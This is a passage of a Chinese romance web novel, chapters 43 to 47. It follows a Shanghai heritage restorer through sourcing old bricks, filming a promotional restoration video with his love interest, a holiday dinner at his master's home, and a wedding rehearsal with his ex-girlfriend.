陆砚知道,今夜过后,杨灵将在顾南乔面前无限丧失话语权。 第四十三章 杨灵恋爱日记 老金拿着单子,“是天青,是天青!不是深灰。要窑口款,一半不要。先搞五十块批量打样。” “啊?” 他沉默着,吐了口烟,“好,晓得了。” 陆砚昨天递来了张手写的物料单,字比打印要大、要看得惯,清单上标好参数,要民国青砖,第一批五百块砖。 这点量不算什么,只是这批砖里一半要窑口款,这种货现在不常见、刚好没存,所以给以前的伙计打了电话。 没成想对方转了行,去搞什么仿古砖。 老金眼里这和退行没区别,聊不到两句便挂了。 用他的原话说就是‘伊以前就是我后头个跟屁虫,现在倒自家做起老板了。’ 所谓‘青砖’,得古法加工,同地域选土,粘土经过‘三过筛、三侵泡’,按配方掺旧砖粉,达到‘手捏成团、落地开花’的可塑性。 这民国窑口款青砖更是讲究,哪里是仿古砖能碰瓷的?拿这玩意给陆小子,不被杨老鬼笑死? 老金翻动电话本,在有些毛边的纸面上辨识一个个名字。 这么多熟人,还怕找不出两百来块砖? “喂,是老四吧?好久不见好久不见......” ...... 午餐被顾南乔训斥一顿,她承认了错误,她去律所接着上班。 杨灵照例在午后做完眼保健操,开始工作。 首先是陆砚给她的样品修复申请表需要批复,内容包括修复样品的名称、来源、数量、修复工艺、使用材料、遵循的标准等信息。 都得符合现有条例才行,事后还得核验来源证明。 无疑,文保局扮演守护者和技术监管者的角色。 然后是提交到部门的阶段监理报告和主持‘智能化文保’推广报告会议,她是主讲人和项目带头人。 但是以上这些需要排在她的日记后面,尤其今天,是她关于恋爱阶段性总结的日子。 主套房最里面,杨灵的书房,窗帘半合、对着窗的胡桃木桌上她开始落笔: 9.30,晴,空气湿度70%。 陆砚说会哄我,但是今天没有打电话,明明是我在哄他。 如果我们有个情感账户,关于关心、想念和信任,一定我的存款比较多。 以后,对方能支付等额的情感给我吗? 理性上我总找不到安全感,还好爸爸说过,人间最好的那个人不是等来的,而是修来的。 所以我要努力,我们要努力。 最近乔乔总说我恋爱脑,(此处洇出墨点)那是因为投资回报率最高的事情就是选对伴侣。 我不觉得不计回报的对人好是一种卑微。 而且书上和陆叔叔说了同样意思的话,真正聪明的女人要假装被男人控制住,这不过是我学以致用的过程罢了。 但她不信。 我也不敢顶嘴。 她说她是过来人,教了我很多技巧。乔乔肯定是为我好,我也非常、非常信任她。 但是我认为,技巧是用来服务于短期关系的,在我期待的长期关系中,要真诚、要信任。 ps:这不是恋爱脑,乔乔不要怪我 国庆要来了,相信积极主动是爱情中最大的智慧。 也许是我被冲昏了头脑,幸福好像触手可及~ (???) ...... “老黄,是我,老六说你这有旧砖头是不是?” “害,一个小辈想要,我又这边刚好忙不过来,你看看你要是方便的话帮他做一批,哈哈,算给我个面子。” “......煤气窑不行,没馒头窑?你现在......好,再联系。” 搪瓷茶缸底沾着一滩黢黑的茶叶。 老金懒得去续水,现在只想抽烟。 在门口窗台左右瞧了个遍,他愣是没找着火机,气得摇摇欲坠的牙、直痒痒。 都怪那小子,准是上次他用火机点烟后搞不见的。 他一个,陈禹一个,都不是好东西。 老金想起哥几个做生意的时候,整个虬江路一带就属他们几个最派头,谈事情最有腔调。 那会他有三间铺子,个顶个宽敞,哪一间不是门口停满了豪车,那些个土老板、包工头,哪个不是见面先喊‘坤哥’然后恭敬递烟? 名叫金坤的‘中年人’把电话本摔桌上,老子才刚到六十,又不是死了! ‘当啷’一声,找不见的打火机在地上‘咔啦咔啦地’滚动,金属弧光里,老金站在原地久久没去捡。 ...... 一滴汗液顺着冯小军的脸颊往下流,没留住,落在大厅地砖形成‘世界上最小的盐湖’。 湖泊诞生不到两秒,被一只脚踏平。 “张师傅,浮雕、线脚也算凹凸部位吗?” “对。”张野递去张薄棉纸,让他往里垫一层再裹塑料布。 勾着腰的身姿中,每个人都有奋斗的理由,冯小军的理由是刚找到的—— ‘明天国庆,赶在今天把一楼场地布置好,每个人都发红包’。 这是上午、陆砚的原话。 他们名义上也有假期,只是多数时候施工队遇到赶工,便‘调休’了。 不信你看看,项目结束后是不是每个人一‘休息’就个把月,一直休到他们心慌、不敢休息。 陆砚的队伍比较良心,核心成员休四天,实习生七天,假前红包统统都有。 可是话又说回来: 大家的红包为什么仅和他俩的工作挂钩啊! 冯小军在内心咆哮,这‘一楼场地布置’,重要程度居然恐怖如斯? “要预留最少20个范围,你小子别勒那么紧,又不是裤腰带。” “哦好,20个是多少?” 他不懂张野的省略语。 自打实习这几天,一切非书本上的语言在他耳里都不太适应。 主要是一听就有歧义。 可也不能都怪他呀,本来就是张......师傅的表述太粗糙。 “厘米,cn...还是cb来着?” 是cm! 冯小军无力吐槽,只是一心将塑料布裁剪至‘30个’大小,从下至上逐层叠压。 对了,还要在上面预留‘通风口’,这事让他返工好几回! ...... 另一边,陆砚和冯小军一样激动——老洋房首款到账了! 虽然只有总额20%,里面一半左右要用以施工和物料垫付,但剩下的也让他底气足了不少。 落到实处则是,今天收工后每个人的红包金额会多上一百块。 至少是个心意嘛。 小赵和老周分别在后院和前厅统计构件,苏棠开始接手后勤,自己这边则拿着热熔胶枪为雕花门框填补虫洞。 没错,就是在‘落下半桶糯米胶、差点伤到杨灵’的那个二楼阳台手脚架上作业。 他闲不住,便继续完成之前未完工的活。 采购物料的事情跟老金说了,现在只等他的好消息。 所以国庆前,项目事宜都将处于一个‘可休整’的状态,还有什么比这更让人心情愉悦的呢? 陆砚有点小开心,特别是...... 一辆樱花粉的保时捷taycan缓缓开进前院铁艺围栏,半暖日光下,车身闪耀幸福的光泽。 他蹦下手脚架前小心翼翼把东西放稳、收拾好,趴二楼栏杆上静静感受这一刻。 车子停稳,浅杏色裙摆先沾了缕风,轻轻扬起又落下。 她微低着的小脸刚探出车外,恰好撞上和煦的阳光——那光斑像谁不小心打翻的蜜罐,顺着她挺直的眉骨淌下来,在睫毛投下的阴影里酿出一片暖融融的金。 “杨小姐~” 一片梧桐叶打着转从眼前划落,杨灵抬头,看到了陆砚。 她很开心。 “陆先生~” 第四十四章 听话听音 树上的叶子已经不像夏季时那样浓郁和鲜亮,而是开始逐渐变浅,呈现出一种淡绿色的状态。 梧桐叶掌状三、五裂,富有诗意的人眼里,它是心形的。 陆砚站在梧桐叶落的秋天等杨灵。 她想见他,他知道。 就像辛弃疾见青山妩媚,陆砚也在渴望杨灵。 所以他喊的是‘杨小姐’,而非杨博士。 所以她回的是‘陆先生’,而非陆师傅。 尽在不言中。 现在属于工作时间。 隔着阳台,他在对视中欣赏画中人,直到杨灵收回目光、款款踏至门前台阶。 他们像两块磁石,起初还在边缘试探、努力克制,没曾想只是忽地迈前一步,便一发不可收拾。 是晚上单独吃火锅、还是雨夜老洋房,此后,就像有只手在背后推着走,让陆砚背负上了一种责任感: 有义务地挑拨这个女人。 倘若和她‘相近如冰’,便会被深沉的愧疚感击中。 额前碎发摇动,又是一阵迟来秋风。 林晚声于寂静中出现。 洁白的裙子,背着吉他。 她说这季节得趁时候再穿一回裙子,想弹吉他给他听。 ‘可是,我在等人,别人。’ ‘只是一首歌而已,又不要你把耳朵捐了。’她撇过头耍起小脾气,却忍不住用余光偷瞄。 每每这个时候陆砚便会‘开窍’,将身子挪向她面对的那边哄她。 但如今一个在天边,一个在二楼,他只能原地煎熬。 ‘你以为我为什么回来!’ ‘......你不是个恋旧的人。’ ‘若现在是呢。’ ‘我不知道你为什么回来,就和不知道你为什么离开一样。’ ‘......你还是老样子,陆砚。’ ‘...’ 摇头,臆想时刻便迎来结束。 孤独是林晚声造访的前奏,这次,陆砚不清楚她为何出现。 首先他喜欢杨灵,这点毋庸置疑。 其次,希望她开心。 顺便......希望,那个‘即使难受到下一刻就会昏迷、但绝不主动打扰’的骄傲女人,也能开心。 抛开纷纷诸事,将注意力拉回自己身上。 通过三脚猫的心理学功夫简单做了个诊断: 不配得感引发的自我质疑,预期焦虑导致极端化想象,这是由情感预演机制诞生的失控恐惧。 换言之,近似于‘婚前恐惧症’。 悲观的太宰治曾写到,‘胆小鬼连幸福都会害怕,碰到棉花都会受伤,有时也会被幸福所伤’。 他是胆小鬼吗? 从没有人这么说过。 作为一个年近三十的男人,作为陆砚,他必须有稳固的内核和很强的心理调控。 于是告诉自己—— 是接近幸福时的胡思乱想,它恰似黎明前的薄雾,虽然暂时模糊了视线,却正说明离光越来越近。 ......杨灵怎么还没上来? 捏紧栏杆——雕花栏杆侧柱虫洞边缘的朽木被张野剔除过——身后听不到动响,宛若一片黑暗。 或许她害羞,也有可能小女生姿态发作,在等我的‘态度’。 总之,现在不想一个人呆这。 他要下去找杨灵,然后逗她笑,这样心便安定了。 “我还以为你被定住了~” “......干嘛不叫我。” “看你什么时候转身呐。”双手背后,杨灵浅浅笑着,仿佛有光。 她最近爱笑,甚是好看。 刚见面那会,谁能想到一个月功夫,面无表情的杨督察竟会判若两人呢? “你还记不记得,当时我就是在这......嗯......” “记得啊,来的时候就在想,当时我就是在这被......嗯!” 她走到阳台栏杆前,两人并肩站着的时候,陆砚应该、大抵是笑着。 其实一开始他就想笑出声,为杨小姐对仗工整的语句和语言艺术鼓掌。 奈何那件事情中,他并没有资格当着‘受害者’的面率先发笑,所以此刻又开心、又慨叹。 陆砚把感想一五一十告诉她,并诧异,这样奇怪的情感居然也能组合在一块。 “采访一下,您当时是什么感受呢?” “嗯——,也就一般般吧。”她语气平淡得像白开水,眼神里有刻意扮酷的狡黠。 “...” 明明当时人愣在原地嘴唇都吓白了,他却不能戳破这个再明显不过的‘谎言’。 “你果然是特别的,老实讲,我从没见过这么淡定的女生,就像......赵敏,领兵打仗的郡主,倚天屠龙记里的主人公你知道吧,你和她一样,足智多谋还有格局!” 杨灵没看过倚天屠龙记,但不妨碍她被夸得翘起尾巴——倘若有的话。 “就算你这么说,之前答应过请我吃饭也不能赖账。” 双手抱胸,淡淡晚霞挂在侧脸,她偏过头看向别处。 乌木色发丝松松挽成低髻,几缕碎发垂在颈侧,从下颌线到锁骨划出一道近乎几何般的流畅弧线。 仿佛触碰就会惊起满颈涟漪。 陆砚巴不得和她一块吃饭,对他来说唯一的烦恼就是,怎么找理由再欠上一顿饭。 于是道:“肯定不赖帐,欠着这么久了,就是找我要利息也是心甘情愿的。” 他想,要是杨小姐说利息就是在‘一顿饭’前面加个‘每天’,也不是不行! “陆师傅,现在是工作时间,而我的工作不是收账。” 她向外挪了一步,举起手机对着他说:“快,把你工作的一面暴露出来。” 陆砚微微一愣,顺从道: “好的,杨督察。” 上次在她家吃饭答应过,会帮忙在文保局的宣传短视频中出镜,没想到拍摄时刻来得这么快。 面对镜头没什么,可拍摄的人是杨灵,这就有点......别扭。 但老师傅能克服。 不必商量脚本,陆砚再次爬上手脚架,拿起热熔胶枪补门框虫洞。 且为了方便拍摄,特地半蹲侧身留出胶枪和门框接触的角度。 可调节钢支架临时保护下,门框像做水疗的客人般惬意躺着。 “噔,噔......” 他使用的是低熔点白色透明胶,这款eva胶水往往不待镜头聚焦便流进了虫洞,导致画面中陆砚像个套上服化道、摆拍的流量演员。 摄像师当然不能把可预见的骂名安他头上。 在征得同意后,杨灵慢慢地,也踩上手脚架,在比陆砚矮三格的地方‘贴脸’拍摄。 镜头里,暖色调橙光下,他填充木屑注入热熔胶,快速用木质刮刀沿木纹方向刮平,待胶固化后,用细砂纸轻磨至与表面齐平。 动作精确、轻柔,一看就知道,工艺对原构件不会损伤。 “陆师傅,讲两句。” 她的声音很近,也很轻。 摄像师大大兼导演的命令,名不见经传小素人陆砚不敢不从: “修补门框木构件虫洞,需要准备与木材纹理匹配的木屑、细砂纸、软布,若虫洞深度超过 1厘米,则预先填充脱脂棉或木纤维填料。” 涉及本职工作,他侃侃而谈,接着道: “对重要文物门框,可在修补胶中混入10%石蜡颗粒......对,10%。后期需拆除时用热风机加热即可软化清除,避免损伤原材。这便是传统作业中,可逆性的体现。” 手上动作不曾落下,木铲、镊子、胶枪在每个缺裂处依次使用,但手脚架就那么大,每每转身时两人眼神总会交错。 杨灵踩着手脚架梯子,一只手扶扶手,半倾在架子上,不时挪动找角度。 要知道,她穿的可是裙子。 陆砚有点担心,看向她的鞋子——一双猫跟鞋——细跟但高度较低,还好这双没有鞋带。 “看哪里呢,陆师傅!” 杨灵盯着手机,手机盯着陆砚的脸,确切说是眼睛。 “太危险了,我们去下面拍。” “不,二楼光线好,就在这拍。” “......下手脚架,咱们拍雕花栏杆。” ...... “怎么样,素材够了吗?” 在两人正式产生交集的地方,陆砚认真地为这道栏杆做spa。 “你一直说病害记录,太枯燥了。” 不说病害记录怎么体现准确的判断? 不枯燥哪有专业内容? 他脑子里冒出大大的问号,您是今天才认识工作的基本属性吗? 年轻人要耐得住寂寞! “那我介绍线刻工艺?” “今天介绍得太多了。” 抬起头看向杨灵,杨灵看着镜头里看向她的那双眼睛,眼神闪烁。 玄而又玄的预感盘旋在心头。 经三十分钟素材拍摄后,某种符合情理的答案呼之欲出—— “你看时候也差不多了......工作也要讲究适度......” “噢。” 陆砚憋笑。 当一个从来不挑刺的人忽然挑刺,对方还是女人,那就得听话外音了。 他说:“反正顺手,要不,咱们一起拍一条?” “......可是我们要拍的是宣传视频。” 言辞闪烁。 意思大概等于‘再给个说得过去的理由我就拍’? 他试探着问:“两个人一起宣传,画面更丰富,对不对嘛?” “嗯。” 所以哪有什么套路呢? 话术之所以好用大抵是因为正中对方下怀。 她点头,很认真的那种——因为现在是工作时间——尽管离下班不过十来分钟。 但工作中的认真分好几种。 此时此刻,既然杨小姐严肃而古板,那就该陆先生主动推进项目了。 放下工具将手擦净,陆砚顺势把她拉到身边,靠着栏杆、背对夕阳。 画面里,两人第一次同框: 女人的杏色裙子被风掀起角,发尾沾着橙红色的光;男人喉结在暮色里滚了滚。 “等、等下,刚才头发乱了——” 对着手机,她仍在‘挑刺’,这次是挑自己的。 镜头跟着指尖摇晃,夕阳正从她指缝间漏下来,在屏幕上淌成流动的蜜。 发间幽香附着奶味缠绕鼻翼,陆砚忽然凑近屏幕小声说: “要拍啦——” 第四十五章 国庆前天 陆砚还在考虑要不要把杨灵也带去杨老头家里吃饭的时候,对方先行拒绝了。 首款到账一般得拜访甲方,但杨老头把甲方藏得云遮雾绕的,陆砚连向对方提供收款凭证都没得递交。 于是他去拜访杨老头。 咳咳,主要是国庆前的问候。 每年如此,遇到节日得前天上门,因为当天要留着应酬‘外人’。 老石库门马头墙顶起暮色金光时,油锅里爆香的声音已经顺着宅巷爬满了整排房子。 先是晾衣杆总爱被琵琶砸倒的邻居家飘来糖醋菜肴的甜腻香气,紧接着三楼家的油烟机‘嗡嗡’转起来,大概是浓油赤酱的本帮菜。 紧接着‘哐当’一声关窗响,夹杂着上海话的嗔怪飘出来: “小赤佬!野到现在还不回来!再勿回来夜饭么吃勿着了!”尾音拖得又长又糯,像糯米饭团上淋的赤豆沙。 杨老头住的地方,是上海最契合传统家庭印象的地方,可被称之为‘时光小憩之地’。 “师父!”小伙子很精神地叫唤,透过敞开大门看见挂围裙的老人。 “进里面坐着。” “好嘞!” 陆砚拧着水果和烟酒,怀里夹着副荣宝斋毛笔套装,轻车熟路钻进客厅。 还是老布置。 靠墙立着五斗柜,柜子旁边是核桃木八仙桌,桌子上方挂着石英钟。 客厅空气里总带股木料香味。 “陆砚来啦。” 闻声侧头。 鬓角些许银丝,藏青色针织衫的纽扣系到第二颗,露出里面浆洗得发白的的确良衬衫领,从偏厅走来。 “师娘,节日快乐!” 看来高三也并非堵不透气的墙,今天居然没有晚自习,这对‘压抑’的高中生来说是件多么幸福的事情。 “节日快乐。来,过来跟嘉嘉说会话。”拖鞋在地面汲出‘呲呲’声。 她来了,她举着手机就来了。 有件事情真想澄清,那就是现在年轻人真没有那么健谈的交际能力,面对突如其来的‘破冰局’会下意识逃避! 陆砚把东西放中堂墙边,便硬着头皮微笑走来,‘亲切’接过电话打招呼: “哈喽,好久不见,嘉嘉。” “不是吧大哥,你就比我大两岁,讲话别这么油腻行吗?” 大概是这声‘嘉嘉’戳中了呕吐神经。 对面没有露脸,但嫌弃之心已经溢于言表,反叫陆砚轻松了不少。 “小弟教训的是,大哥记住了。” 想想又是一年没见,小丫头性子还是那么娇蛮,但在他这边不兴惯着。 “咦~你比外国人还不要脸,在国内混得肯定如鱼得水吧!” 这时候师娘给倒了杯水,也不插话,只是搬把椅子静静旁听。 “错,是如水得鱼、锦上添花,这只是你哥众多优点之一,且看且学着吧!” 回避掉事业上的打探并延续刚才的画风,陆砚为自己点赞。 其实他与杨嘉并没有话术中表现的熟络,但还是故作了姿态,权当抚慰长辈的心。 毕竟在老两口眼里,晚辈们亲近些是功绩,是老一辈教导有方。 对面镜头挪了挪,露出一张妆造俊美的脸蛋。 “决定了,艺术展我会把你的照片放上去,让大伙都学习学习如何修成‘厚脸皮’。” “...” 经外面熏陶果然变奔放,可也太亲近过头了喂! ...... 惜字如金可能是大众对成熟男人的刻板印象,似乎沉默就是稳重的另一代名词。 事实上不是的。 师娘姓许,陆砚喊她许老师。 许老师控场能力极强,从做菜烹饪火候讲到因材施教、调味哲学,以小火慢炖类比内向的学生,偏偏末尾还能圆回来,cue两人吃菜、喝酒。 平日偷酒喝,惬意;今日有酒喝,反倒滋味淡了几分。 这大概就是陆砚从杨启文耷拉的眼袋中感受到的。 两人诚恳点头,若不是手里有双筷子,高低要加入鼓掌环节。 问就是饭桌也是桌,是桌,为什么不能是课桌? “我们班那些外向的孩子虽然闲不住,其实更幸福......” 期间杨启文给许老师添了杯水,用行动鼓励她接着往下说。 看得陆砚肃然起敬,师父不愧是师父。 随即两人相望,碰了杯。 杯中有对那个男人的景仰,还有对‘何以为家’这个命题的思考。 他知道,师娘是舍不得退休了。 他知道杨启文比他更能理解师娘,因为他也是名老师。 所以在这举国欢庆的日子,让‘功臣’抒发得更猛烈些吧! “陆砚,你也不小了,个人生活有苗头吗?” “啊?” 一口菜差点呛着,从教书转到育人,许老师总是切换得如此丝滑。 “现在年轻人都腼腆,所以得我们这些当家长的能帮着介绍千万不要抵触,老杨你说是吧?” “嗯,说得对。” “陆砚你看你师父都说了,你这边,目前有喜欢的姑娘吗?在发展吗?” “昂......事态还不明晰,有情况肯定汇报。” 说起汇报,他倒是没忘‘次要目的’,且陪着二老吃饭自然有时间聊。 “你们男人就是死脑筋,年轻的时候只晓得搞事业赚钱,哪里晓得娶个好老婆就是最赚钱的事情......老杨你说呢?” “肯定的。” ...... 饭后杨启文点了根烟,陆砚陪着喝茶,分坐中堂两边。 陆砚告诉他,老洋房首款已到账,用不用抽空去拜访甲方。 这是迂回话术,杨老头没主动透露甲方以前,他不能问、也不必问。 就好比赵家班子里,并不是每个人像小赵一样把地仗、调配、绘制都学了个遍。 核心资源多由血脉传承! 杨启文吧嗒一口,烟雾缓缓从鼻腔流淌,“规格差了点,不过礼数到位了。” “什么?” 顺着杨老头的目光,陆砚看到自己提来的烟酒、礼盒,加起来一千来块多少是个心意。 再说了,平时他们不兴讲这个啊! 思绪百转,最后心下恍然。 原来如此! 是说甲方这么痛快,监工不派、酒局不摆、首款那么快。 跳过这些,他却是一下子想到十年前老洋房修缮,那条‘歪了’的西边回廊。 我修我自己的房子,上哪贪污去? 所以那条走廊必然有它合理的原因,只是自己功力尚浅、眼界浅罢了! 渐渐,上空蒙着的最后阴霾消散了,心气顺了,做事的激情一如刚入行那会强烈。 老头大户人家啊! 原来......如此。 “方案的事,你们聊得怎么样了?”杨启文问。 “还没具体洽谈,但我比较支持原方案。”陆砚答。 “嗯,蛮好。” 他们都是‘修旧如旧’派。 ...... 出了老石库门方才有时间拨弄手机。 陈禹下午3点发来一条语音: “砚哥砚哥,别忘了后天早点来,酒店等你。” 给予肯定回复,继续翻看。 施工队群消息自从大小李溜号后这是头一回更新。 【古建再生事务所(8)】 赵立言:欢迎两位新人~ 张野:小赵你有没有文化?是两位人,不是两位新人!(这是一条语音消息,且很急) 冯小军:张师傅,我觉得你的版本有点别扭(玫瑰)。 张野:你那么敦厚的身板,咋个扭?放假结束你扭给我看看(大笑)。 赵立言:祝福。 冯小军:我在学生会舞会上扭得贼好,视频为证! 苏棠:群主发红包。 划出去,点开杨灵的界面,两人的聊天对话还停留在前天。 墨斗先生:打电话方便吗?方便扣1。 对方正在输入中。 @adeline:1 陆砚觉得这个‘1’如此可爱,像个正在点头的表情包。 “晚上好,杨小姐。” “晚上好,陆先生。” 暗号对接成功。 “虽然还没到国庆,但我想抢先祝你节日快乐~” “节日快乐,陆先生。” “快乐可是需要条件的,口头表示可能还差点。” “那......明天我请你吃饭?” 上回还说‘下次轮到你请了’的杨小姐,竟是意外健忘,健忘同时还不忘对他大方。 难怪许老师说,‘娶老婆是最赚钱的事’呢 “明天啊——,对了你3号有空吗?陈禹结婚,我带你去蹭饭。” “这样不好吧,我跟他不熟诶?” 人女孩子想听点讨巧的话,咱按照脉络往下说就是了。 “你当我女伴,吃顿饭他还敢有意见了!” “还是不行,那天你帮我带回来吧~” 第四十六章 国庆第一天 国庆第一天,陆砚问候完父母并用红包传达孝心后,驱车驶往虬江路旧料市场找老金。 当然,该尽的礼数不能少。 “老板,果篮多少钱?” “98,128。” “...” 昨天还是68、98,难不成这里房租贵这么多? 还有,假使能重来一次,他问价前先跟老板说句节日快乐会不会便宜点? 笑着吃下这闷亏,车子启动,街景一路变换,直到看见青瓦覆顶,门脸微泛苔痕,门框磨得透亮的青砖店。 陆砚用笔在贺卡上写了讨喜的贺词,左手果篮右手香烟迈向店内。 老金不在。 也不大声嚷嚷,索性把东西放玻璃展柜旁耐心等待。 展柜内置各样款识的珍稀砖品,六年前初次拜访时细细看过一遍,如今再扫过去,留着的还是老伙计,就是样式少了一半。 要知道老金店里的青砖,祖宗历史可追溯到战国,所谓‘秦砖汉瓦’则是其工艺达到大成时期。 殿堂、庙塔、万里长城皆由此料修筑。 说起青砖万般好,但在当代,它打不过混凝土。 工艺复杂、生产周期长、成本高,旧料市场青砖店的生意受到了很大影响,这是陆砚所了解到的事实。 可若说没活路吧,显然没到程度。 还是有不少商业项目有此需求的,结果老金不愿上新料,旧料又太贵死守着卖不出去,路不就越走越窄了嘛? 站这个角度,陈禹独立出去开垦也算理性而保守的选择。 “哟,陆总莅临小店有何指教?” 声音从里屋出来,里面没点灯。 ‘陆总’对此已有免疫力,他逐渐明白老人的处境: 既不肯承认迟暮,又渴求认可与尊重,于是用自贬倒逼对方懂事。 倔老头和倔小孩在要面子这事上其实大差不大。 “老金,你又跟咱玩家伙。大过节的,也不瞧瞧来者孝心就开口?” 陆砚自然捧着老金,这或许比金钱更让对方舒坦。 “害,我还以为是那狼崽子呢,看走眼了!” 老人不像年轻人,词库三天一更新,日常老梗已经焊死在他和老金的暖场环节。 “国庆快乐,老爷子。” ...... “国庆快乐!” 颜朵从背后蒙住林晚声的眼睛,甚是欣慰曾经动不动躺尸、等她照顾的小女孩,现在已经可以主动早起来帮忙了。 尽管有前天再三叮嘱的成因在内。 “国庆快乐,颜颜。” 她轻轻拂去眼前的手,食指拉下眼睑,做起鬼脸。 说到做到,说快乐、就得真快乐。 这便是真诚,而真诚是她的美德。 颜朵一眼瞧见她手中的册子,也‘真诚’说道: “哎呀好姑娘,吃早餐了吗?敬酒服、晨袍的尺码核对真不是很急,头纱、手套、腰带我也不是非今天就要......还有婚鞋,要一双高跟和一双平底,准备好了咱们下午美美的做个spa~” 林晚声曾经读过普鲁斯特的似水年华,尽管没撑到十分之一,此刻她就有种看书的感觉。 实在是,太长了! 哪个年轻女人受得了这刺激! “颜颜,你过来。” 印象里她笑起来脸颊有点婴儿肥,现在却是往瓜子脸方向发展,脱去稚气更显成熟。 “好吧宝贝,这些活就让我大学室友来做吧,咱们现在一起去做美甲。” 颜朵从谏如流——尽管对方还没进谏——这不碍她兴致高涨。 “我是说,你眉毛淡了。这几天你是最美的,不能有瑕疵。” 她轻轻拉过颜朵,用眉笔对照一边细细描摹,动作小得像陆砚修二楼门框。 如果每个人都是一种函数答案,那么岁月就是最大的自变量,每每流经小段时光都会惊叹于成长的可塑性。 而今,林晚声竟也会像母亲般温柔,不喝酒、不吵闹,静静呆在身旁为自己描眉。 颜朵很好奇这三年她经历了什么。 “晚声。” “别皱眉。” “好。”颜朵慢慢启唇,“你的裙子还合适吗?接手捧花的时候可得拿稳。” “我把开口改大了。” “...” 她好像对林晚声的判断越来越偏离了。 这还是那个看书、喝酒、弹吉他,讨论灵魂的洁白小花? 手写信、精神洁癖、枯枝插瓶当装饰,在一次‘分手旅行’之后终于蜕变了吗! 颜朵内心os:早干嘛去了!你主动起来,女博士什么的都得靠边站! “接亲游戏呢?你有想法吗?” 她错过林晚声很多事情,但独独一点能肯定,就是对方结束了文艺之旅、开始渴望婚姻。 不论选择是不是陆砚,不论过程是否道德。 她,帮亲不帮理。 陈禹也拦不住! “看情况。” ...... “青砖是那么容易出哒?不要烧窑转色就是三万块砖也能十天到位!” 老金啐了口茶叶,转而抽起烟。 好像他一个,老杨头一个,都是喝着喝着就抽起烟?喝酒就算了,喝茶是真想不透。 抓起苹果啃了口,丝毫没把他的‘呵斥’放心上。 大嗓门是这样的,只要没赶人,就不算恼了。 “这批砖你亲自做?多不好意思呀。”陆砚说。 即使小窑烧制,也得两万砖起炉,还别说用民国时期的技法完全还原,周期一个月打底。 自己这区区五百块,尽管后续要加,也不至于让老爷子亲自熬在窑前啊。 “嗬哟,你以为专门给你烧的?那么大个上海就你陆总要啊?”嘴不饶人,老头手又端杯嘬了口茶。 陆砚赶忙起身给茶壶续水,眼神清澈了。 上一辈性子容易‘吃亏’就在于做事‘默默无闻’,不仅不邀功,还把人情往外推。 所以你说说,现在的社会是不是越来越没人情味了? 老人、老传统和老物件,是不是细究可爱? “老金你别把生意做太大咯,咱这砖还是跟我留着点,后续还要滴!” “空头支票不能兑现,大半个月呢,急什么?” 老人倚在椅背上,悠然哼曲。 粗粝的手搭在椅靠,指甲很厚,指甲缝的黑线怎地都洗不净。 大概有些来自破料敲打、有些是翻搅黏土,几十年了,它们仿佛成了老人的一部分: 半阴半热的天,他戴老花镜看见石面上细如发丝的裂纹,便顺着裂纹凿出浅槽,再嵌进同色石粉与蛋清调和的腻子。 修修改改,反反复复。 算算时间,胚体还在阴干,将来8-15天的烧制、5天的冷却还会为指缝添上更黑、更深的痕迹。 再看,他藏青色对襟布褂被世事磨得包浆,却道,天凉好个秋。 “滴滴滴——” “不好意思,接个电话。” “嗯。” 陆砚走到街边,是颜朵打来的。 “喂?颜姐。” “陆砚你还是哥们吗!我刚问陈禹红包准备好没有,他说他还在酒店确认设备。这都什么时候了,你还不过去帮吗?” 对方气势汹汹的口吻把他搞得很懵。 伴郎团难道就他一个? 而且,说的是明天早上酒店集合啊! “这个,等等,我有点迷。” “迷什么?陈禹说这边就他一个人,你人呢?” “我......在路上。” 众所周知,秋天使人乏力,尤其是下午。 所以陆砚无力回击,再次走上迂回路线,并在心里感叹: 狗日的陈禹,准是拿他顶锅了。 酒店内,颜朵笑着抿唇,接着对电话说: “下午没事的话你就去帮忙把场地核对好哈,节日快乐,弟弟~” “节日快乐。” 第四十七章 试走仪动路线 “陆先生,这边请。” 原计划中,他要与婚前公司确认接亲路线,避开施工路段、早高峰拥堵点,以及制作车队联络表。 所以来的路上硬是想不明白为什么,颜朵要他到酒店现场...... 还是来了。 酒店经理带陆砚穿越大堂,走过长长的走廊,便是后天的婚宴厅了。 推动四米高、双把手厚重大门,门轴发出沉哑的吱呀声,像时间被从中劈开,绚丽的光全都跑出来。 追光灯穿透裂隙,水晶珠串自穹顶倾泻垂落。 门后三步,林晚声在光的中心。 “先生,为了避免当天踩空或碰撞,我们前期会先有个试走仪式动线。”突兀的声音冒出来。 原来旁侧还有个人,厚厚镜框,应该是婚庆公司的策划。 就等同‘和婚庆公司确认接亲路线’,所谓‘试走仪式动线’就是提前踩点。 陆砚身体僵硬,思维陷入泥泞。 她穿象牙白的礼服静静伫立原地,像是月光突然有了形状。 不知是何种装饰颤出的细碎银芒,微微偏头时,耳垂的水滴形钻石耳坠划过一道流光,恰好与他瞳孔里的惊羡撞个满怀。 种种迹象表明,他们即将走一遍婚礼路线! 尽管只是预演。 ......只是预演! 有人领证后形同陌路,有人在枕边同床异梦。 而有的人,曾是梦中人。 如今,两人受邀来到梦中的婚礼。 “先生,我们现处仪式通道入口处,准备前往交接区,请您挽起伴娘的手试着往前走。”策划说。 自然的语气能予人执行力,这点在此刻很重要。 陆砚抻开嘴角,喉咙有点紧:“咳,我要不要换身衣服?” “就这样,用不着全套。你是想要现在更奇怪一点吗?”林晚声说。 这是他们今晚第一句话。 好吧,现实还是比梦更具象,更辛辣。 他立马就出戏了。 耸耸肩膀,将小臂递过去,两人顺利完成‘起步姿势’。 “好的,请二位往前走,想象这是自己的婚礼,期间有什么问题都可以提。” 策划勾腰侧身小碎步往前领路,陆砚、林晚声亦是抬腿登上台阶。 “李经理,签到处可不可以挪到我们刚才站的地方?”挽着陆砚,她思衬道,“嘉宾手写祝福,让新人当天看见。” 听起来不错,但在陆砚耳朵里仿佛是一种‘示威’: 你瞧你脑袋空空的,不过是和前女友假装走红毯,有那么放不开吗? 好吧,林晚声不会这样想,但自己实在不该太拘束。 都朋友! “哦好呀好呀,这是个好主意。”中年男人表示记住了。 走过十来步。 “这片方形地段是交接区,我们把它命名为‘信任之环’,当天新娘的父亲会站在这里,亲手和新郎完成交接,意味着女儿的下半生幸福的托付。现在,请二位换成手牵手,继续往前走。” 林晚声立马松开陆砚的胳膊,却不再将手伸过来。 这种时候女人爱计较细节,他十分熟稔,于是抓住那只手,轻握手指。 指尖触到的刹那,掌心温度便被那层细腻的蕾丝手套吸走一半。 然后对方微微翻转手腕,让他扣住掌心。 “走慢点。” 手被稍微用力握住,陆砚侧头,视线顺着开口齐大腿的裙子往下,发现她穿的鞋子确实不便行走。 这谁设计的裙子?真是......很难评! 